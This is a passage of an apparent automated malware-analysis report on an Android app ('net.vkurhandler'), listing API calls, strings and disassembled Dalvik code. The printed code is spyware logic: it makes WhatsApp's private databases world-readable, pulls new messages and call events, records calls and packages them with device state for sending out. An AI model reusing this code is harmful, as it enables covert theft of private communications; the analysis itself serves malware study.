                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.ds.d:Landroid/content/Context
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • android.database.Cursor.getLong
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.ds.c
                    • net.vkurhandler.ds.m
                    • java.lang.String.endsWith
                    • net.vkurhandler.ds.d
                    • android.database.Cursor.getString
                    • net.vkurhandler.ds.c
                    • java.lang.Integer.valueOf
                    • java.lang.Boolean.valueOf
                    • java.lang.Long.valueOf
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • java.lang.String.startsWith
                    • java.lang.System.currentTimeMillis
                    • net.vkurhandler.ds.b
                    • net.vkurhandler.ds.h:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.ds.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.ds.d:Landroid/content/Context
                    • java.io.File.getName
                    • java.io.File.getAbsolutePath
                    • net.vkurhandler.MyApp.f
                    • net.vkurhandler.ds.l
                    • net.vkurhandler.MyApp.f
                    • java.lang.System.currentTimeMillis
                    • net.vkurhandler.ds.h:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.ds.d:Landroid/content/Context
                    • net.vkurhandler.ds.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.ds.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.ds.d:Landroid/content/Context
                    • net.vkurhandler.ds.c
                    • net.vkurhandler.ds.m
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • net.vkurhandler.ds.a
                    • java.lang.String.equals
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • msgstore.db
                    • /data/data/com.whatsapp/databases/*
                    • 0777
                    • /data/data/com.whatsapp/databases/
                    • /data/data/com.whatsapp/databases/msgstore.db
                    • last_wa_update_id
                    • RTWhatsApp
                    • LastSaveID:%d,LasWaUpdateID:%d
                    • hasNewMessages:%b
                    • messages
                    • _id >
                    • keyRemoteJid:
                    • g.us
                    • %s,%s,%d,%s,%b,%s,%d,%d,%s
                    • call:
                    • messenger_rt_whatsapp_record_call
                    • audiorecord_type
                    • type
                    • sub_type
                    • date
                    • call_type
                    • call_id
                    • phone_number
                    • name
                    • file_name
                    • absolute_file_path
                    • messenger_rt_whatsapp_transmit_call
                    • duration
                    • bat_level
                    • charger
                    • message
                    • sender
                    • peer
                    • group_name
                    • is_out
                    • dialog_id
                    Position Instruction Meta Information
                    0const/4 v2, 0x0
                    1move-object/from16 v0, p0
                    3iget-object v3, v0, Lnet/vkurhandler/ds;->i:Ljava/lang/String;
                    4if-eqz v3, :cond_10
                    5new-instance v2, Ljava/lang/String;
                    6move-object/from16 v0, p0
                    8iget-object v3, v0, Lnet/vkurhandler/ds;->i:Ljava/lang/String;
                    10invoke-direct {v2, v3}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
                    11cond_10: move-object/from16 v0, p0
                    12iget-wide v4, v0, Lnet/vkurhandler/ds;->c:J
                    14invoke-static {v4, v5}, Lnet/vkurhandler/gn;->a(J)V
                    16const-string v3, "msgstore.db"
                    18invoke-virtual {v3, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    19move-result v2
                    20if-nez v2, :cond_20
                    21cond_1f: return-void
                    22cond_20: const/4 v3, 0x0
                    23const/4 v10, 0x0
                    24try_start_22:
                    25const-string v2, "/data/data/com.whatsapp/databases/*"
                    27const-string v4, "0777"
                    28const/4 v5, 0x1
                    30invoke-static {v2, v4, v5}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    32const-string v2, "/data/data/com.whatsapp/databases/"
                    34const-string v4, "0777"
                    35const/4 v5, 0x1
                    37invoke-static {v2, v4, v5}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    39const-string v2, "/data/data/com.whatsapp/databases/msgstore.db"
                    41const-string v4, "0777"
                    42const/4 v5, 0x1
                    44invoke-static {v2, v4, v5}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    46const-string v2, "/data/data/com.whatsapp/databases/msgstore.db"
                    47const/4 v4, 0x0
                    48const/16 v5, 0x11
                    50invoke-static {v2, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    51try_end_42: move-result-object v2
                    52try_start_43: move-object/from16 v0, p0
                    54invoke-direct {v0, v2}, Lnet/vkurhandler/ds;->a(Landroid/database/sqlite/SQLiteDatabase;)I
                    55move-result v11
                    56add-int/lit8 v3, v11, -0x1
                    57move-object/from16 v0, p0
                    59iget-object v4, v0, Lnet/vkurhandler/ds;->g:Landroid/content/SharedPreferences;
                    61const-string v5, "last_wa_update_id"
                    63invoke-interface {v4, v5, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    64move-result v3
                    65move-object/from16 v0, p0
                    66iput v3, v0, Lnet/vkurhandler/ds;->o:I
                    68invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    69move-result v3
                    70if-eqz v3, :cond_7f
                    72const-string v3, "RTWhatsApp"
                    74const-string v4, "LastSaveID:%d,LasWaUpdateID:%d"
                    75const/4 v5, 0x2
                    76new-array v5, v5, [Ljava/lang/Object;
                    77const/4 v6, 0x0
                    78move-object/from16 v0, p0
                    79iget v7, v0, Lnet/vkurhandler/ds;->o:I
                    81invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    82move-result-object v7
                    83aput-object v7, v5, v6
                    84const/4 v6, 0x1
                    86invoke-static {v11}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    87move-result-object v7
                    88aput-object v7, v5, v6
                    90invoke-static {v4, v5}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    91move-result-object v4
                    93invoke-static {v3, v4}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    94cond_7f: move-object/from16 v0, p0
                    95iget v3, v0, Lnet/vkurhandler/ds;->o:I
                    96if-le v11, v3, :cond_11e
                    97move-object/from16 v0, p0
                    98iget v3, v0, Lnet/vkurhandler/ds;->o:I
                    99if-lez v3, :cond_11e
                    100const/4 v3, 0x1
                    101goto_8c:
                    102invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    103move-result v4
                    104if-eqz v4, :cond_a7
                    106const-string v4, "RTWhatsApp"
                    108const-string v5, "hasNewMessages:%b"
                    109const/4 v6, 0x1
                    110new-array v6, v6, [Ljava/lang/Object;
                    111const/4 v7, 0x0
                    113invoke-static {v3}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    114move-result-object v8
                    115aput-object v8, v6, v7
                    117invoke-static {v5, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    118move-result-object v5
                    120invoke-static {v4, v5}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    121cond_a7: if-nez v3, :cond_c2
                    122move-object/from16 v0, p0
                    123iget v4, v0, Lnet/vkurhandler/ds;->o:I
                    124add-int/lit8 v4, v4, -0x14
                    125if-le v4, v11, :cond_c2
                    126move-object/from16 v0, p0
                    128iget-object v4, v0, Lnet/vkurhandler/ds;->g:Landroid/content/SharedPreferences;
                    130invoke-interface {v4}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    131move-result-object v4
                    133const-string v5, "last_wa_update_id"
                    135invoke-interface {v4, v5, v11}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    136move-result-object v4
                    138invoke-interface {v4}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    139cond_c2: if-eqz v3, :cond_3ef
                    141const-string v3, "messages"
                    143sget-object v4, Lnet/vkurhandler/ds;->k:[Ljava/lang/String;
                    144new-instance v5, Ljava/lang/StringBuilder;
                    146const-string v6, "_id > "
                    148invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    149move-object/from16 v0, p0
                    150iget v6, v0, Lnet/vkurhandler/ds;->o:I
                    152invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    153move-result-object v5
                    155invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    156move-result-object v5
                    157const/4 v6, 0x0
                    158const/4 v7, 0x0
                    159const/4 v8, 0x0
                    160const/4 v9, 0x0
                    162invoke-virtual/range {v2 .. v9}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    163try_end_e2: move-result-object v4
                    164const/4 v3, 0x0
                    165goto_e4:
                    166invoke-interface {v4}, Landroid/database/Cursor;->moveToNext()Z
                    167move-result v5
                    168if-nez v5, :cond_121
                    169if-eqz v3, :cond_104
                    170move-object/from16 v0, p0
                    172iget-object v3, v0, Lnet/vkurhandler/ds;->g:Landroid/content/SharedPreferences;
                    174invoke-interface {v3}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    175move-result-object v3
                    177const-string v5, "last_wa_update_id"
                    179invoke-interface {v3, v5, v11}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    180move-result-object v3
                    182invoke-interface {v3}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    183move-object/from16 v0, p0
                    185iget-object v3, v0, Lnet/vkurhandler/ds;->d:Landroid/content/Context;
                    187invoke-static {v3}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    188try_end_104: if-eqz v4, :cond_109
                    189try_start_106:
                    190invoke-interface {v4}, Landroid/database/Cursor;->close()V
                    191cond_109: if-eqz v2, :cond_1f
                    193invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    194move-result v3
                    195if-eqz v3, :cond_1f
                    197invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    198try_end_114: goto/16 :goto_1f
                    199catch_116: move-exception v2
                    201const-string v3, "RTWhatsApp"
                    203invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    204goto/16 :goto_1f
                    205cond_11e: const/4 v3, 0x0
                    206goto/16 :goto_8c
                    207cond_121: const/4 v3, 0x0
                    208try_start_122:
                    209invoke-interface {v4, v3}, Landroid/database/Cursor;->getInt(I)I
                    210move-result v8
                    211const/4 v3, 0x1
                    213invoke-interface {v4, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    214move-result-object v9
                    215const/4 v3, 0x2
                    217invoke-interface {v4, v3}, Landroid/database/Cursor;->getInt(I)I
                    218move-result v3
                    219const/4 v5, 0x1
                    220if-ne v3, v5, :cond_311
                    221const/4 v3, 0x1
                    222move v7, v3
                    223goto_135: const/4 v3, 0x3
                    225invoke-interface {v4, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    226move-result-object v10
                    227const/4 v3, 0x4
                    229invoke-interface {v4, v3}, Landroid/database/Cursor;->getLong(I)J
                    230move-result-wide v12
                    231const/4 v3, 0x5
                    233invoke-interface {v4, v3}, Landroid/database/Cursor;->getInt(I)I
                    234move-result v14
                    235const/4 v3, 0x6
                    237invoke-interface {v4, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    238move-result-object v15
                    240const-string v3, ""
                    242const-string v5, "RTWhatsApp"
                    243new-instance v6, Ljava/lang/StringBuilder;
                    245const-string v16, "keyRemoteJid:"
                    246move-object/from16 v0, v16
                    248invoke-direct {v6, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    250invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    251move-result-object v6
                    253invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    254move-result-object v6
                    256invoke-static {v5, v6}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    257if-eqz v7, :cond_315
                    258move-object/from16 v0, p0
                    260invoke-direct {v0, v9}, Lnet/vkurhandler/ds;->c(Ljava/lang/String;)Ljava/lang/String;
                    261move-result-object v5
                    263invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/ds;->m()Ljava/lang/String;
                    264move-result-object v6
                    265move-object/from16 v20, v5
                    266move-object v5, v6
                    267move-object/from16 v6, v20
                    268goto_172:
                    269const-string v16, "g.us"
                    270move-object/from16 v0, v16
                    272invoke-virtual {v9, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                    273move-result v16
                    274if-eqz v16, :cond_18f
                    275move-object/from16 v0, p0
                    277invoke-direct {v0, v9}, Lnet/vkurhandler/ds;->d(Ljava/lang/String;)Ljava/lang/String;
                    278move-result-object v3
                    279if-nez v7, :cond_18f
                    280const/4 v5, 0x7
                    282invoke-interface {v4, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    283move-result-object v5
                    284move-object/from16 v0, p0
                    286invoke-direct {v0, v5}, Lnet/vkurhandler/ds;->c(Ljava/lang/String;)Ljava/lang/String;
                    287move-result-object v5
                    288cond_18f:
                    289invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    290move-result v16
                    291if-eqz v16, :cond_1d9
                    293const-string v16, "RTWhatsApp"
                    295const-string v17, "%s,%s,%d,%s,%b,%s,%d,%d,%s"
                    296const/16 v18, 0x9
                    297move/from16 v0, v18
                    298new-array v0, v0, [Ljava/lang/Object;
                    299move-object/from16 v18, v0
                    300const/16 v19, 0x0
                    301aput-object v5, v18, v19
                    302const/16 v19, 0x1
                    303aput-object v6, v18, v19
                    304const/16 v19, 0x2
                    306invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    307move-result-object v8
                    308aput-object v8, v18, v19
                    309const/4 v8, 0x3
                    310aput-object v9, v18, v8
                    311const/4 v8, 0x4
                    313invoke-static {v7}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    314move-result-object v19
                    315aput-object v19, v18, v8
                    316const/4 v8, 0x5
                    317aput-object v10, v18, v8
                    318const/4 v8, 0x6
                    320invoke-static {v12, v13}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                    321move-result-object v19
                    322aput-object v19, v18, v8
                    323const/4 v8, 0x7
                    325invoke-static {v14}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    326move-result-object v14
                    327aput-object v14, v18, v8
                    328const/16 v8, 0x8
                    329aput-object v15, v18, v8
                    331invoke-static/range {v17 .. v18}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    332move-result-object v8
                    333move-object/from16 v0, v16
                    335invoke-static {v0, v8}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    336cond_1d9: const/4 v8, 0x1
                    338const-string v14, "call:"
                    340invoke-virtual {v15, v14}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                    341move-result v14
                    342if-eqz v14, :cond_361
                    344invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    345move-result-wide v14
                    346move-object/from16 v0, p0
                    348invoke-direct {v0, v9}, Lnet/vkurhandler/ds;->b(Ljava/lang/String;)Ljava/lang/String;
                    349move-result-object v3
                    351invoke-static {v3}, Lnet/vkurhandler/gn;->d(Ljava/lang/String;)Ljava/lang/String;
                    352move-result-object v5
                    353move-object/from16 v0, p0
                    355iget-object v3, v0, Lnet/vkurhandler/ds;->h:Landroid/content/SharedPreferences;
                    357const-string v6, "messenger_rt_whatsapp_record_call"
                    358const/4 v9, 0x0
                    360invoke-interface {v3, v6, v9}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    361try_end_1fa: move-result v3
                    362if-eqz v3, :cond_286
                    363try_start_1fd: move-object/from16 v0, p0
                    365iget-object v3, v0, Lnet/vkurhandler/ds;->d:Landroid/content/Context;
                    367invoke-static {v3}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    368move-result-object v6
                    370invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    371move-result-object v9
                    373invoke-static {}, Lnet/vkurhandler/gn;->f()Ljava/io/File;
                    374move-result-object v10
                    376const-string v3, "audiorecord_type"
                    377const/16 v16, 0x3
                    378move/from16 v0, v16
                    380invoke-virtual {v9, v3, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    382const-string v3, "type"
                    383const/16 v16, 0x2
                    384move/from16 v0, v16
                    386invoke-virtual {v9, v3, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    388const-string v3, "sub_type"
                    389const/16 v16, 0x8
                    390move/from16 v0, v16
                    392invoke-virtual {v9, v3, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    394const-string v3, "date"
                    395const/16 v16, 0x1
                    396move/from16 v0, v16
                    398invoke-static {v0, v12, v13}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    399move-result-object v16
                    400move-object/from16 v0, v16
                    402invoke-virtual {v9, v3, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    404const-string v16, "call_type"
                    405if-eqz v7, :cond_326
                    406const/4 v3, 0x2
                    407goto_23c: move-object/from16 v0, v16
                    409invoke-virtual {v9, v0, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    411const-string v3, "call_id"
                    413invoke-virtual {v9, v3, v12, v13}, Lnet/vkurhandler/be;->a(Ljava/lang/String;J)V
                    415const-string v3, "phone_number"
                    417invoke-virtual {v9, v3, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    419const-string v3, "name"
                    420move-object/from16 v0, p0
                    422iget-object v0, v0, Lnet/vkurhandler/ds;->d:Landroid/content/Context;
                    423move-object/from16 v16, v0
                    424move-object/from16 v0, v16
                    426invoke-static {v0, v5}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    427move-result-object v16
                    428move-object/from16 v0, v16
                    430invoke-virtual {v9, v3, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    432const-string v3, "file_name"
                    434invoke-virtual {v10}, Ljava/io/File;->getName()Ljava/lang/String;
                    435move-result-object v16
                    436move-object/from16 v0, v16
                    438invoke-virtual {v9, v3, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    440const-string v3, "absolute_file_path"
                    442invoke-virtual {v10}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    443move-result-object v10
                    445invoke-virtual {v9, v3, v10}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    447invoke-virtual {v6}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    448move-result-object v3
                    450invoke-virtual {v3, v9}, Lnet/vkurhandler/v;->a(Lnet/vkurhandler/be;)V
                    451goto_279:
                    452invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/ds;->l()Z
                    453move-result v3
                    454if-nez v3, :cond_329
                    456invoke-virtual {v6}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    457move-result-object v3
                    459invoke-virtual {v3}, Lnet/vkurhandler/v;->c()V
                    460goto_286:
                    461invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    462move-result-wide v16
                    463sub-long v14, v16, v14
                    464const-wide/16 v16, 0x3e8
                    465div-long v14, v14, v16
                    466long-to-int v6, v14
                    467move-object/from16 v0, p0
                    469iget-object v3, v0, Lnet/vkurhandler/ds;->h:Landroid/content/SharedPreferences;
                    471const-string v9, "messenger_rt_whatsapp_transmit_call"
                    472const/4 v10, 0x0
                    474invoke-interface {v3, v9, v10}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    475move-result v3
                    476if-eqz v3, :cond_3b1
                    478invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    479move-result-object v9
                    481const-string v3, "type"
                    482const/4 v10, 0x1
                    484invoke-virtual {v9, v3, v10}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    486const-string v3, "sub_type"
                    487const/16 v10, 0xf
                    489invoke-virtual {v9, v3, v10}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    491const-string v10, "call_type"
                    492if-eqz v7, :cond_35e
                    493const/4 v3, 0x2
                    494goto_2b4:
                    495invoke-virtual {v9, v10, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    497const-string v3, "date"
                    498const/4 v7, 0x1
                    500invoke-static {v7, v12, v13}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    501move-result-object v7
                    503invoke-virtual {v9, v3, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    505const-string v3, "phone_number"
                    507invoke-virtual {v9, v3, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    509const-string v3, "name"
                    510move-object/from16 v0, p0
                    512iget-object v7, v0, Lnet/vkurhandler/ds;->d:Landroid/content/Context;
                    514invoke-static {v7, v5}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    515move-result-object v5
                    517invoke-virtual {v9, v3, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    519const-string v3, "duration"
                    521invoke-virtual {v9, v3, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    523const-string v3, "call_id"
                    525invoke-virtual {v9, v3, v12, v13}, Lnet/vkurhandler/be;->a(Ljava/lang/String;J)V
                    527const-string v3, "bat_level"
                    528move-object/from16 v0, p0
                    530iget-object v5, v0, Lnet/vkurhandler/ds;->d:Landroid/content/Context;
                    532invoke-static {v5}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    533move-result-object v5
                    535invoke-virtual {v5}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    536move-result-object v5
                    538invoke-virtual {v5}, Lnet/vkurhandler/ce;->a()I
                    539move-result v5
                    541invoke-virtual {v9, v3, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    543const-string v3, "charger"
                    544move-object/from16 v0, p0
                    546iget-object v5, v0, Lnet/vkurhandler/ds;->d:Landroid/content/Context;
                    548invoke-static {v5}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    549move-result-object v5
                    551invoke-virtual {v5}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    552move-result-object v5
                    554invoke-virtual {v5}, Lnet/vkurhandler/ce;->b()Z
                    555move-result v5
                    557invoke-virtual {v9, v3, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    558move-object/from16 v0, p0
                    560iget-object v3, v0, Lnet/vkurhandler/ds;->d:Landroid/content/Context;
                    562invoke-static {v3, v9}, Lnet/vkurhandler/bf;->b(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    563move v3, v8
                    564goto/16 :goto_e4
                    565cond_311: const/4 v3, 0x0
                    566move v7, v3
                    567goto/16 :goto_135
                    568cond_315: move-object/from16 v0, p0
                    570invoke-direct {v0, v9}, Lnet/vkurhandler/ds;->c(Ljava/lang/String;)Ljava/lang/String;
                    571move-result-object v6
                    573invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/ds;->m()Ljava/lang/String;
                    574try_end_31e: move-result-object v5
                    575move-object/from16 v20, v5
                    576move-object v5, v6
                    577move-object/from16 v6, v20
                    578goto/16 :goto_172
                    579cond_326: const/4 v3, 0x1
                    580goto/16 :goto_23c
                    581cond_329: const-wide/16 v16, 0x3e8
                    582try_start_32b:
                    583invoke-static/range {v16 .. v17}, Lnet/vkurhandler/gn;->a(J)V
                    584try_end_32e: goto/16 :goto_279
                    585catch_330: move-exception v3
                    586try_start_331:
                    587const-string v6, "RTWhatsApp"
                    589invoke-static {v6, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    590try_end_336: goto/16 :goto_286
                    591catch_338: move-exception v3
                    592move-object/from16 v20, v3
                    593move-object v3, v4
                    594move-object v4, v2
                    595move-object/from16 v2, v20
                    596try_start_33f:
                    597const-string v5, "RTWhatsApp"
                    599invoke-static {v5, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    600try_end_344: if-eqz v3, :cond_349
                    601try_start_346:
                    602invoke-interface {v3}, Landroid/database/Cursor;->close()V
                    603cond_349: if-eqz v4, :cond_1f
                    605invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    606move-result v2
                    607if-eqz v2, :cond_1f
                    609invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    610try_end_354: goto/16 :goto_1f
                    611catch_356: move-exception v2
                    613const-string v3, "RTWhatsApp"
                    615invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    616goto/16 :goto_1f
                    617cond_35e: const/4 v3, 0x1
                    618goto/16 :goto_2b4
                    619cond_361: move-object/from16 v0, p0
                    621invoke-virtual {v0, v10, v5, v6}, Lnet/vkurhandler/ds;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z
                    622move-result v14
                    623if-eqz v14, :cond_3b1
                    625invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    626move-result-object v14
                    628const-string v15, "type"
                    629const/16 v16, 0x1
                    631invoke-virtual/range {v14 .. v16}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    633const-string v15, "sub_type"
                    634const/16 v16, 0x7
                    636invoke-virtual/range {v14 .. v16}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    638const-string v15, "date"
                    639const/16 v16, 0x1
                    640move/from16 v0, v16
                    642invoke-static {v0, v12, v13}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    643move-result-object v12
                    645invoke-virtual {v14, v15, v12}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    647const-string v12, "message"
                    649invoke-virtual {v14, v12, v10}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    651const-string v10, "sender"
                    653invoke-virtual {v14, v10, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    655const-string v5, "peer"
                    657invoke-virtual {v14, v5, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    659const-string v5, ""
                    661invoke-virtual {v3, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    662move-result v5
                    663if-nez v5, :cond_3a4
                    665const-string v5, "group_name"
                    667invoke-virtual {v14, v5, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    668cond_3a4:
                    669const-string v3, "is_out"
                    671invoke-virtual {v14, v3, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    673const-string v3, "dialog_id"
                    675invoke-virtual {v14, v3, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    677invoke-static {v14}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;)V
                    678try_end_3b1: move v3, v8
                    679goto/16 :goto_e4
                    680catchall_3b4: move-exception v2
                    681move-object v4, v10
                    682goto_3b6: if-eqz v4, :cond_3bb
                    683try_start_3b8:
                    684invoke-interface {v4}, Landroid/database/Cursor;->close()V
                    685cond_3bb: if-eqz v3, :cond_3c6
                    687invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    688move-result v4
                    689if-eqz v4, :cond_3c6
                    691invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    692goto_3c6: throw v2
                    693catch_3c7: move-exception v3
                    695const-string v4, "RTWhatsApp"
                    697invoke-static {v4, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    698goto/16 :goto_3c6
                    699catchall_3ce: move-exception v3
                    700move-object v4, v10
                    701move-object/from16 v20, v3
                    702move-object v3, v2
                    703move-object/from16 v2, v20
                    704goto/16 :goto_3b6
                    705catchall_3d6: move-exception v3
